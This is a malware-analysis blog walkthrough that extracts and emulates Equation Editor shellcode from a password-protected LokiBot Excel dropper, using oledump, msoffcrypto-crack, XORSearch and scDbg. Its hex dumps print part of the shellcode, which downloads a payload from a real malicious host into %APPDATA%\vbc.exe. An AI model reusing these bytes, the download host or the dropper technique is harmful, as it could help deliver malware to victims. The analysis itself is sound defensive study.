LokiBot: Getting Equation Editor Shellcode

W clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/

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While today's analysis will be similar to one we've done **<u>before</u>**, it will be almost exactly the same as this one from **<u>SANS</u>**. Although it's been done by others, it never hurts to practice using these tools and get that muscle memory down. We'll be working off of this document right here: <u>https://app.any.run/tasks/db864efd-35b3-4e91-9e84-c6149dbfd4d7</u>.

OLEDUMP

Using <u>oledump</u>, we see a big chunk of data called 'EncryptedPackage'.

C:\	Jsers\REM\D	esktop\Lokibot 2020-03-30>oledump.py "1092991 (JB#082).xlsx"
1	: 64	'\x06DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace'
2	: 112	'\x06DataSpaces/DataSpaceMap'
3	: 200	'\x06DataSpaces/TransformInfo/StrongEncryptionTransform/\x06Primary'
4	: 76	'\x06DataSpaces/Version'
5	: 596232	'EncryptedPackage'
6	: 224	'EncryptionInfo'

In this case, it means that one or more sheets in the workbook have been locked to protect changes to the data.

1092991 (JB#082)

Desktop » Lokibot 2020-03-30

Protect Workbook *	Protect Workbook Image: The structure of the workbook has been locked to prevent unwanted changes, such as moving, deleting, or adding sheets. Image: One or more sheets in this workbook have been locked to prevent unwanted changes to the data. Image: Sheet1 Unprotect
	Unprotect Sheet ? X
	Password:
Check for Issues *	OK Cancel nable to read

But there are tools to get around this. By simply pointing <u>msoffcrypto-crack.py</u> at the document, we will see a familiar password pop up.

C:\Users\REM\Desktop\Lokibot 2020-03-30≻msoffcrypto-crack.py "1092991 (JB#082).xlsx" Password found: VelvetSweatshop

At this point, we could do one of two things. We could use *msoffcrypto-crack.py* to crack the password and output a new unprotected file of the same name...

C:\Users\REM\Desktop\Lokibot 2020-03-30≻msoffcrypto-crack.py -o cracked.xlsx "1092991 (JB#082).xlsx' Password found: VelvetSweatshop

... or we could just pipe the output directly into *oledump.py*. Doing so, we see that there are no macros or anything like that. Instead, we see 'eQUaTiON naTlvE'.

```
C:\Users\REM\Desktop\Lokibot 2020-03-30>msoffcrypto-crack.py -o - "1092991 (JB#082).xlsx" | oledump.py
A: xl/embeddings/oleObject1.bin
A1: 20 '\x010le'
A2: 403195 'eQUaTiON naTIvE'
```

Let's dump that part of the object to another file where we can work on that.

C:\Users\REM\Desktop\Lokibot 2020-03-30>msoffcrypto-crack.py -o - "1092991 (JB#082).xlsx" | oledump.py -s A2 -d > oledump.bin

We can use <u>XORSearch.exe</u> to search that binary file for various signatures of 32-bit shellcode. We see that GetEIP was found in two locations.

```
C:\Users\REM\Desktop\Lokibot 2020-03-30>XORSearch.exe -W oledump.bin
Found XOR 00 position 00062351: GetEIP method 2 EB04
Found XOR 00 position 0006229C: GetEIP method 3 E9B6000000
Score: 20
```

scDbg.exe

We then move to a shellcode emulator called <u>scDbg.exe</u>. We can load the dumped binary in there and feed it the offset position and to see if any sort of decoded shellcode appears.

C:\Users\REM\Desktop\Lokibot 2020-03-30>XORSearch.exe -W oledump.bin												
Found XO	R 00 position 00062351: GetEIP	metho	d 2 EB04									
Found XOR 00 position 0006229C: GetEIP method 3 E9B6000000												
Score: 2	.0											
🗿 scDbg	- libemu Shellcode Logger Launch Interface				—	\Box \times						
Shellcode fi	ie C:\Users\BEM\Deskton\Lokibot 2020-03-30\o	oledumn h	nin									
Uptions –	ort Mode 🔲 Scan for Api table 🔲 Upi	limited ste	ens 🗖 FindSo	- 🔽 Start Offs	et fly coope	Evenda						
Creati	te Dump 🗌 Use Interactive Hooks 🔲 Det	hua Shall			00 102230	Example						
No B	W Display Monitor DLL Bead Write	bug sheli				More						
	ess Command Line				-							
i ropen	ין י											
🗌 🔲 Manu	ual Arguments			-		Launch						
ov. C:∖Wi	indows\SYSTEM32\cmd.exe											
Loaded 6	626fb bytes from file C:\Users\F	REM\De	sktop\LOK	IBO~1∖oledu	mp.bin							
Initiali	ization Complete											
Dump mod	de Active											
Max Step	ps: 2000000											
Using ba	ase offset: 0x401000											
EXECUTIO	on starts at file offset 6229c	-	0.462257									
403290	E980000000	Jmp	0x403357	VV								
403281	54	nop	edv	••								
4632a3	F942010000	imp	0x4633eb	vv								
4632a9	E930010000	jmp	0x4633de	vv								
463482	GetProcAddress(ExpandEnvironmer	ntStri	ngsW)									
4634b5 unhooked call to kernel32.ExpandEnvironmentStringsW step=40844												
Stencour	nt 40844											
Primarv	memory: Reading 0x626fb bytes f	from @	0x401000									
Scanning	g for changes											
Change f	found at 402438 dumping to C:\Us	sers\R	REM\Deskto	p\LOKIBO~1\	oledump.un	pack						
Data dumped successfully to disk												

And it does! Note that it dumped it to a file called *oledump.unpack*. However, notice how the unpacked information isn't very informative. But that last line says, "Change found at 402438...". We can use another tool called to <u>cut-bytes.py</u> to look at the *oledump.unpack* from that point. Notice strings such as LoadLibraryW... ExpandEnvironmentStringsW... APPDATA\vbc.exe... htp://frndgreen and so on.

C:\Users	\REM	\Des	skto	op\l	.oki	ibot	: 20	920-	03-3	30>0	:ut	-byt	tes.	. ру	-a	"40	2438:" oledump.unpack
00000000	: 81	EC	68	02	00	00	E8	12	00	00	00	6B	00	65	00	72	hk.e.r
00000010	: 00	6E	00	65	00	6C	00	33	00	32	00	00	00	E8	EF	01	.n.e.l.3.2
00000020	: 00	00	89	C3	E8	0D	00	00	00	4C	6F	61	64	4C	69	62	LoadLib
00000030	: 72	61	72	79	57	00	53	E8	4E	02	00	00	89	C7	E8	ØF	raryW.S.N
00000040	: 00	00	00	47	65	74	50	72	6F	63	41	64	64	72	65	73	GetProcAddres
00000050	: 73	00	53	E8	32	02	00	00	89	C6	E8	1A	00	00	00	45	s.S.2E
00000060	: 78	70	61	6E	64	45	6E	76	69	72	6F	6E	6D	65	6E	74	xpandEnvironment
00000070	: 53	74	72	69	6E	67	73	57	00	53	FF	D6	68	04	01	00	StringsW.Sh
00000080	: 00	8D	54	24	08	52	E8	24	00	00	00	25	00	41	00	50	T\$.R.\$%.A.P
00000090	: 00	50	00	44	00	41	00	54	00	41	00	25	00	5C	00	76	.P.D.A.T.A.%.\.v
000000A0	: 00	62	00	63	00	2E	00	65	00	78	00	65	00	00	00	FF	.b.ce.x.e
000000B0	: D0	E8	ØE	00	00	00	55	00	72	00	6C	00	4D	00	6F	00	U.r.1.M.o.
000000000	: 6E	00	00	00	FF	D7	E8	13	00	00	00	55	52	4C	44	6F	nURLDo
000000D0	: 77	6E	6C	6F	61	64	54	6F	46	69	6C	65	57	00	50	FF	wnloadToFileW.P.
000000E0	: D6	6A	00	6A	00	8D	54	24	0C	52	E8	9C	00	00	00	68	.j.jT\$.Rh
000000F0	: 00	74	00	74	00	70	00	ЗA	00	2F	00	2F	00	66	00	72	.t.t.p.:././.f.r
00000100	: 00	6E	00	64	00	67	00	72	00	65	00	65	00	6E	00	31	.n.d.g.r.e.e.n.1
00000110	: 00	66	00	72	00	64	00	79	00	63	00	72	00	65	00	61	.f.r.d.y.c.r.e.a
00000120	: 00	6D	00	63	00	6F	00	73	00	74	00	6D	00	65	00	74	.m.c.o.s.t.m.e.t
00000130	: 00	69	00	63	00	73	00	6C	00	61	00	64	00	69	00	65	.i.c.s.l.a.d.i.e
00000140	: 00	73	00	73	00	68	00	6F	00	70	00	2E	00	64	00	75	.s.s.h.o.pd.u
00000150	: 00	63	00	6B	00	64	00	6E	00	73	00	2E	00	6F	00	72	.c.k.d.n.so.r
00000160	: 00	67	00	2F	00	67	00	66	00	72	00	6E	00	64	00	64	.g./.g.f.r.n.d.d

But can we get this output in a little more... readable form? Yes, we can do with *scDbg.exe* again. First, let's cut out only the bytes necessary.

```
0>cut-bytes.py -d "402438:" oledump.unpack > oledump-cut.unpack
```

Using *oledump-cut.unpack*, we do run into a problem when we toss it into *scDbg.exe*. We don't see anything beyond ExpandEnvironmentStringsW.



The **SANS blog post** referenced at the beginning shows how to deal with this. It turns out that *scDbg.exe* does not hook ExpandEnvironmentStringsW. But it does hook

ExpandEnvironmentStringsA. We can then try patching the .unpack file by overwriting the StringsW with StringsA. Save your change and then toss it back into *scDbg.exe* like we tried above.

00000000	81	EC	68	02	00	00	E8	12	00	00	00	6B	00	65	00	72	hk.e.r
00000010	00	6E	00	65	00	6C	00	33	00	32	00	00	00	E8	EF	01	.n.e.1.3.2
00000020	00	00	89	CЗ	E8	OD	00	00	00	4C	6F	61	64	4C	69	62	LoadLib
00000030	72	61	72	79	57	00	53	E8	4E	02	00	00	89	С7	E8	OF	raryW.S.N
00000040	00	00	00	47	65	74	50	72	6F	63	41	64	64	72	65	73	GetProcAddres
00000050	73	00	53	E8	32	02	00	00	89	С6	E8	1A	00	00	00	45	s.S.2E
00000060	78	70	61	6E	64	45	6E	76	69	72	6F	6E	6D	65	6E	74	xpandEnvironment
00000070	53	74	72	69	6E	67	73	41	00	53	FF	D6	68	04	01	00	Strings <mark>A</mark> .Sh
00000080	00	8D	54	24	08	52	E8	24	00	00	00	25	00	41	00	50	T\$.R.\$%.A.P
00000090	00	50	00	44	00	41	00	54	00	41	00	25	00	5C	00	76	.P.D.A.T.A.%.\.v
000000A0	00	62	00	63	00	2E	00	65	00	78	00	65	00	00	00	FF	.b.ce.x.e

Another option is to overwrite that character directly from the command line. Looking at the hex editor above, we can see that we are at offset 0x77. We can add that to the starting point in *scDbg.exe* like so:



We can now see everything in a much clearer format and it looks like it's <u>downloading</u> <u>Lokibot</u>.

Thanks for reading!